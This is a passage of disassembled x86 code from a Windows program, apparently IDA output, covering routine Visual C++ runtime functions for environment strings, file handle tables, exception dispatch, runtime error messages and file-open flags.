		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4231D0	proc near		; CODE XREF: sub_41D933+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4DBB18
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DBB18, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: sub_4231D0+21j
		call	dword_427040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DBB18, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: sub_4231D0+19j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: sub_4231D0+2Dj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: sub_4231D0+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: sub_4231D0+73j
					; sub_4231D0+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: sub_4231D0+6Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_423299
		push	[esp+18h+var_8]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_423299:				; CODE XREF: sub_4231D0+B9j
		mov	ebx, [esp+18h+var_8]


loc_42329D:				; CODE XREF: sub_4231D0+99j
					; sub_4231D0+A8j
		push	esi
		call	dword_427044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: sub_4231D0+51j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: sub_4231D0+49j
		cmp	edi, ebx
		jnz	short loc_4232BD
		call	dword_427040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: sub_4231D0+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: sub_4231D0+F6j
					; sub_4231D0+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: sub_4231D0+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: sub_4231D0+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: sub_4231D0+111j
		push	edi
		call	dword_427048	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: sub_4231D0+39j
					; sub_4231D0+61j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: sub_4231D0+D6j
					; sub_4231D0+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4231D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_423302	proc near		; CODE XREF: sub_41D933+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: sub_423302+16j
		mov	dword_4DCC80, esi
		mov	dword_4DCD80, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: sub_423302+52j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DCC80
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: sub_423302+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_4271A8	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_423432
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: sub_423302+86j
		cmp	dword_4DCD80, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DCC84


loc_423399:				; CODE XREF: sub_423302+DAj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DCD80, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: sub_423302+CFj
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: sub_423302+B7j
		add	edi, 4
		cmp	dword_4DCD80, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: sub_423302+A4j
		mov	esi, dword_4DCD80


loc_4233E6:				; CODE XREF: sub_423302+90j
					; sub_423302+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: sub_423302+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		call	dword_427030	; GetFileType
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: sub_423302+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCC80[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: sub_423302+EFj
					; sub_423302+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: sub_423302+65j
					; sub_423302+71j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: sub_423302+195j
		mov	eax, dword_4DCC80
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: sub_423302+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: sub_423302+14Bj
		push	eax
		call	dword_427034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		call	dword_427030	; GetFileType
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: sub_423302+163j
					; sub_423302+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: sub_423302+17Aj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: sub_423302+13Ej
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: sub_423302+180j
					; sub_423302+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DCD80
		call	dword_427038	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_423302	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_41D933+Ao
					; sub_42205D+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
					; sub_41DA4E+9p
		mov	eax, dword_4DB9B0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A984, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DBB1C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_41DA4E+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D018


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D0A8
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D018[esi]
		jnz	loc_423719
		mov	eax, dword_4DB9B0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A984, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_427070	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43D01C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D01C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_427034	; GetStdHandle
		push	eax
		call	dword_4270E0	; WriteFile


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DCC80


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DCD80
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DCD80, 20h
		lea	ecx, ds:4DCC80h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCD80
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCC80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A984, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		call	dword_42702C	; SetStdHandle


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB93C, 0
		mov	dword_4DB938, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DCD80
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DCC80h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A984, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		call	dword_42702C	; SetStdHandle


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB93C, 0
		mov	dword_4DB938, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCD80
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCC80[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB93C, 0
		mov	dword_4DB938, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCD80
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DCC80[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		call	dword_427028	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_42391D
		call	dword_42708C	; RtlGetLastWin32Error
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB93C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB938, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: .packed:00429024o
		mov	eax, dword_4DCC60
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DCC60, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC58, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DCC60, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC58, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43D0A8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DBC58
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D328
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43D0B8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DCC80[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D118
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: .packed:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB978, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBB20
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DBC30, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB938, 16h
		mov	dword_4DB93C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
